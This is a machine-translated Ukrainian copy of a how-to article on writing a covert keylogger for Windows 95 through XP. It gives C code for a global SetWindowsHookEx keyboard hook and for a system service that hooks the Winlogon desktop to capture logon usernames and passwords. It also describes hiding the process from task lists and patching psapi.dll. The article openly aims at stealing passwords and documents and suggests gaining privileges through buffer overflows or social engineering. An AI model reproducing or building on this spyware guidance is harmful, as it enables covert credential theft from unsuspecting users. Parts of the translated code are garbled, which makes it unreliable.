Реалізація keylogging під WIN32

[ виправити ] текст може містити помилки, будь ласка перевіряйте перш ніж використовувати.

скачати

Марк Єрмолов

Одним з найпростіших методів знімання інформації з персонального комп'ютера є установка на комп'ютер користувача програми, що виробляє облік натисків клавіш. Даний метод можна легко здійснити при фізичному доступі на цікавить комп'ютер. Встановити кейлоггер можна також і віддалено, використовуючи помилки в реалізаціях сервісів об'єкта, але ми опустимо методи установки в даній статті.

Існує велика кількість вже готових програм-кілоггерів. Проте по-перше більшість з них вже визначаються антивірусними програмами, по-друге, найчастіше, їх функціональність залишає бажати кращого, або вони працюють вкрай нестабільно. Одним з видів програм, що здійснюють знімання інформації, є KeyLogger-и (дослівно реєстратор клавіш). Вони реєструють всі натиснуті клавіші на клавіатурі, обробляють отриману інформацію і зберігають її у файл. Оскільки закрита інформація (паролі, документи, і т.д.) набирається з клавіатури, KeyLogger є одним із засобів її отримання.

В операційній системі MSDOS кейлоггер даного виду просто перехоплює переривання від клавіатури (int 16h) і потрібним чином його обробляє. У Win32 все складніше. Буде доречним описати метод реєстрації всіх натиснутих клавіш за допомогою системних пасток або фільтрів (hooks). Цей метод працює як під Win95/98/Millennium так і під WIN NT/2000/XP. В якості мови програмування для цього завдання варто вибрати C / C + +, а середовищем розробки MS Visual C + +. Асемблер для цих цілей підходить краще, але писати на Асемблері в Win32 дуже утомливо і довго.

У Win32 API є функція SetWindowsHookEx. Вона дозволяє визначити деяку (власну) функцію, що буде спрацьовувати кожного разу при настанні деякої події (отримання програмою повідомлення, натискання клавіші на клавіатурі, створення вікна і т.д.). Повний опис даної функції можна прочитати в MSDN (Microsoft Developer Network Library).

Перший параметр цієї функції вказує подія, на яку ми ставимо пастку. У нашому випадку - клавіатура - WH_KEYBOARD.

На другому місці в обробнику виклику ми повинні вказати адресу функції, яка буде викликатися кожного разу при настанні даної події. Вигляд цієї функції (для обробки натискань клавіш) наступний:

LRESULT CALLBACK KeyboardProc (int code, WPARAM wParam, LPARAM lParam);

де: code - спосіб обробки клавіші додатком.

wParam - містить віртуальний код клавіші, клавіші.

lParam - являє собою 4-x байтове структуру даних, де в якості полів виступають її біти. Біти 0-15 визначають скільки разів сталася подія (значення відмінне від 1 у випадку, якщо клавіша утримується деякий час), біти 16-23 визначають scan-код клавіші (відпущеної) клавіші, а тридцять перший біт визначає, чи була клавіша натиснута чи відпущена.

Параметр code застосовується для відсіювання зайвих подій. Наприклад, при наборі в MS Word тексту "123" наш обробник отримає по парі подій на кожне натискання клавіші ("112233") При надходженні цікавить нас повідомлення повідомлення даний параметр дорівнює HC_ACTION.

Оскільки KeyboardProc використовується системою, ми повинні при описі вказати CALLBACK.

Отже, для обробки натиснутих клавіш ми повинні написати свою процедуру KeyboardProc приблизно наступним чином:

LRESULT CALLBACK KeyboardProc (int code, WPARAM wParam, LPARAM lParam)

{

DWORD IsDown, ScanCode;

IsDown =! (LParam>> 31);

ScanCode = lParam> = 24;

if (IsDown & & code == HC_ACTION)

ProccessDownKey (wParam, (unsigned char) ScanCode); / / Обробляємо

return 0;

}

У MSDN сказано, що якщо параметр code <0, то потрібно зрадити управління наступній пастці викликом CallNextHookEx, але на практиці можна цього не робити, а просто повернути з KeyboardProc 0 і все буде працювати.

Третій параметр SetWindowsHookEx - дескриптор модуля в якому знаходиться KeyboardProc, а четвертий - ідентифікатор потоку, для якого встановлюється пастка (0 - для всіх потоків в системі). Фільтр може встановлюватися як на один потік однієї програми, так і на всі потоки всіх додатків. В останньому (найбільш цікавому) випадку KeyboardProc повинна знаходитися в DLL (Dynamic Link Library). Так зроблено через особливості архітектури Windows, в якій кожен процес має свій адресний простір. За допомогою Visual C + + реалізація власної dll-бібліотеки є нескладною.

Важливим моментом є те, що при запуску кожної нової програми при активному фільтрі, Windows створює нову копію всіх даних DLL, що містить KeyboardProc, і динамічна бібліотека впроваджується в адресний простір запускається процесу. Тому всі глобальні дані слід зберігати наступним чином:

1. У вихідному коді DLL написати наступне:

# Pragma data_seg (". SHAREDDATA")

/ *

...

...

Глобальні дані

....

Наприклад: * /

static char logFileName [128] = {0}; / / Ім'я файлу звіту

static int dllsCount; / / Число впроваджених DLL

/ / І т.д.

# Pragma data_seg ()

2. В. Def - файлі бібліотеки написати:

SECTIONS

. SHAREDDATA Read Write Shared

При обробки події від клавіатури виникає проблема: Як отримати символ (наприклад 'A' або 'a', 's' або 'и'), який дійсно вводив користувач. Для цього можна скористатися функціями ToAscii і ToUnicode, які дозволяють по scan-коду та віртуального коду, а також стану клавіатури визначити конкретний символ.

Ми опустимо докладний опис механізму завантаження DLL, і отримання адреси функції, а наведемо приклад безпосереднього використання нашої бібліотеки.

Нехай бібліотека, що містить необхідну нам функцію KeyboardProc, називається hooklib.dll.

# Include

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)

{

HHOOK hHook;

HINSTANCE hLib;

HOOKPROC pKeybrdProc;

hLib = LoadLibrary ("hooklib.dll");

if (hLib == NULL)

return 0; / / Помилка

pKeybrdProc = reinterdivt_cast (GetProcAddress (hLib, "KeyboardProc"));

if (pKeybrdProc == NULL) {

FreeLibrary (hLib); / / Помилка

return 0;

}

hHook = SetWindowsHookEx (WH_KEYBOARD, pKeybrdProc, hLib, 0);

if (hHook == NULL) {

FreeLibrary (hLib); / / Помилка

return 0;

}

//....

/ / GetMessage і т. д. поки не надійде WM_QUERYENDSESSION

//....

UnhookWindowsHookEx (hHook);

FreeLibrary (hLib);

return 0;

}

Примітно, що даний метод працює і в Windows NT/2000/XP, оскільки функція SetWindowsHookEx не вимагає ніяких привілеїв (наприклад SeDebugPrivilege) і буде працювати навіть під звичайним користувачем. Це можна сприймати як слабину в системі безпеки NT/2000/XP, оскільки все ж таки відбувається впровадження в адресний простір процесу. (Згадаймо атаку GetAdmin, де з допомогою впровадження в процес, в NT без SP3 можна було отримати права адміністратора під користувачем guest !!!).

Більш детальну інформацію по фільтрах ви можете знайти в MSDN, у статті "Win32 Hooks".

Важливим моментом будь-якої програми такого роду є маскування.

У Win95/98/Millennium програму можна приховати зі списку завдань функцією RegisterServiceProcess, після цього вона не буде видно в списку завдань taskman'a, що показується по натисненні "Ctrl + Alt + Del". Однак будь-який менеджер процесів (наприклад, SysInfo) все одно покаже нашу програму, тому при написанні потрібно створювати і інформацію про версію. Так буде менше помітнішою. SysInfo також визначає всі встановлені в системі пастки. Функцію RegisterServiceProcess просто так викликати не вдасться, оскільки вона не оголошена в windows.h (winuser.h і т.д.). Її потрібно викликати безпосередньо з KERNEL32.DLL. Вона має наступний прототип:

DWORD RegisterServiceProcess (DWORD dwProcessId, DWORD dwType);

де dwProcessId - Id процесу (0 - викликає), а dwType = 1, якщо робимо процес сервісом, і 0, якщо прибираємо сервісні властивості.

Вирішити завдання маскування в системах NT/2000/XP куди складніше. Одним із способів можна вважати підміну psapi.dll з WINNTsystem32 таким чином, щоб у записі для функції EnumProcesses в таблиці експорту цієї dll, точка входу (entry point) вказувала не на справжню реалізацію цієї функції, на деяку власну, з наступним викликом оригіналу. Однак цей механізм не буде працювати для тих додатків, які 'жорстко' язані з psapi.dll за допомогою утиліти bind.exe.

Точки входу для кожної функції, що експортується з будь-якої dll можна подивитися за допомогою утиліти depends що входить в постачання Platform SDK.

Також вважаю доречним розповісти в цій статті, як зробити кейлоггер для NT/2000/XP так, щоб він міг одержувати інформацію (ім'я користувача і пароль), яка набирається з клавіатури при вході користувача в систему. Дане завдання ускладнюється двома факторами:

Система відображає запрошення на вхід (натисніть Ctrl + Alt + Del і т.д.) до запуску будь-якого користувача процесу. Тобто, якщо ваша програма-шпигун запускається автоматично або з системної папки Startup або з розділу реєстру Run або з деяких системних ini-файлів, то вона не зможе отримати інформацію, про яку йде мова, просто тому, що її запуск відбудеться вже після того , як ви увійшли в систему. При спробі завершити сеанс роботи й увійти під іншим користувачем, ваша програма так само буде завершена і запущено після реєстрації користувача в системі.

Вікно введення пароля та вхідного імені (також як і вікно запрошення) захищено окремим механізмом windows, званим 'робочий стіл' (Desktop - знову ж таки, дивіться MSDN) і процеси, запущених з-під інших робочих столів, фізично не мають доступу до цих вікон . (Навіть функція FindWindow їх не знайде). Таким чином, і фільтр, встановлений функцією SetWindowsHookEx, не буде спрацьовувати на дії в цікавлять нас вікнах.

Для вирішення цих проблем пропоную наступний механізм:

По-перше, додаток, встановлює фільтр клавіш, повинно бути оформлено у вигляді сервісу Win32. (Як зробити сервіс можна прочитати в MSDN - глава "Services" розділу "Platform SDK: DLLs, Processes and Threads".)

По-друге, сервіс повинен бути зареєстрований як запускається автоматично (SERVICE_AUTO_START - дивіться опис функції CreateService); ну і багато ж правий вам знадобитися, щоб зареєструвати сервіс ;-). Ну нічого, завжди знайдуться помилки переповнення буфера і т.д. Врешті - решт, можна спробувати щастя в соціальній інженерії.

І нарешті, найголовніше: Ім'я робочого столу c вікном введення пароля - "Winlogon" і він знаходиться в інтерактивній 'віконної станції' (window station) c ім'ям "Winsta0". Таким чином, щоб процес (точніше його потік) міг потрапити в даний робочий стіл і встановити там пастку потрібно скористатися функціями Win32 API OpenWindowStation, SetProcessWindowStation, OpenDesktop і SetThreadDesktop. (Див. Главу "Interactive Services" з MSDN). Якщо ці функції викликати з-під сервісу, що запускається під System - стандартне поведінку після реєстрації за допомогою CreateService з передостаннім параметром рівним NULL, то прав вистачить сповна і для виклику цих функцій і для установки пастки так, щоб вона обробляла цікавлять нас вікна процесу Winlogon. exe. Як параметри, які позначають імена цих об'єктів (робочий стіл, віконна станція), потрібно задати наведені вище значення. Механізм підключення до робочого столу повинен передувати викликом функції SetWindowsHookEx. Примітка: не забудьте додати окремий потік на користувальницький робочий стіл - "default" з "Winsta0", інакше пастка не зможе реєструвати дії користувача після входу в систему. Також хочу відзначити, що для не інтерактивних сервісів системою створюється окрема віконна станція і робочий стіл, у якому вони і запускаються. Тобто, без підключення до деякого реального робочого стола, викликати функцію SetWindowsHookEx з сервісу не має сенсу.

Наведу невеликий приклад реалізації сервісу та підключення до робочого столу. У даному прикладі я опустив всю обробку помилок.

# Include

void WINAPI MyServiceStart (DWORD, LPTSTR *);

void WINAPI MyServiceCtrlHandler (DWORD);

void ServiceWorkFunction ();

SERVICE_STATUS_HANDLE MyServiceStatusHandle;

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)

{

SERVICE_TABLE_ENTRY DispatchTable [] = {{"MyService", MyServiceStart},

{NULL, NULL}};

/ / Викликаємо точку входу сервісу

StartServiceCtrlDispatcher (DispatchTable);

}

void WINAPI MyServiceStart (DWORD, LPTSTR *)

{

SERVICE_STATUS MyServiceStatus = {0};

MyServiceStatus.dwServiceType = SERVICE_WIN32;

MyServiceStatus.dwCurrentState = SERVICE_RUNNING;

/ / Реєструємо обробник подій сервісу

MyServiceStatusHandle = RegisterServiceCtrlHandler ("MyService",

MyServiceCtrlHandler);

SetServiceStatus (MyServiceStatusHandle, & MyServiceStatus);

ServiceWorkFunction ();

}

void WINAPI MyServiceCtrlHandler (DWORD)

{

SERVICE_STATUS MyServiceStatus = {0};

MyServiceStatus.dwServiceType = SERVICE_WIN32;

MyServiceStatus.dwCurrentState = SERVICE_RUNNING;

SetServiceStatus (MyServiceStatusHandle, & MyServiceStatus);

}

void ServiceWorkFunction ()

{

HWINSTA hWS;

HDESK hDT;

/ / Підключаємося до віконної станції

hWS = OpenWindowStation ("Winsta0", FALSE, GENERIC_ALL);

SetProcessWindowStation (hWS);

/ / Підключаємося до робочого столу

hDT = OpenDesktop ("Winlogon", 0, FALSE, GENERIC_ALL);

SetThreadDesktop (hDT);

/ / SetWindowsHookEx і т.д.

}

Питання надсилайте на e-mail: http://bugtraq.ru/library/programming/ermolov_mark @ mail.ru

PS

Всім бажаючим створювати подібні програми хочу порекомендувати кілька чудових книг:

Список літератури

"Внутрішнє пристрій Windows 2000", Д. Соломон, М. Руссиновіч

"Програмування серверних додатків для Windows 2000", Дж. Ріхтер, Дж. Кларк

"Windows для професіоналів", Дж. Ріхтер

а також утиліти procexp.exe і winobj.exe від sysinternals.


Додати в блог або на сайт

Цей текст може містити помилки.

Програмування, комп'ютери, інформатика і кібернетика | Реферат
24.2кб. | скачати


Схожі роботи:
Реалізація принципів дидактики під час викладання дисципліни Економіка в коледжі ПТШ на прикладі
Реалізація принципів дидактики під час викладання дисципліни Економіка в коледжі ПТШ на прикладі 2
Реалізація принципів дидактики під час викладання дисципліни Економіка в коледжі ПТШ на прикладі 3
Розробка служби Win32
Атака Легкої бригади під Балаклавою під час Кримської війни
Атака Л гкой бригади під Балаклавою під час Кримської війни
Шолохов м. а. - Доля людини м. а. Шолохов під час миру сини ховають батьків під час війни
Реалізація нафтопродуктів
Реалізація нафтопродуктів 2
© Усі права захищені
написати до нас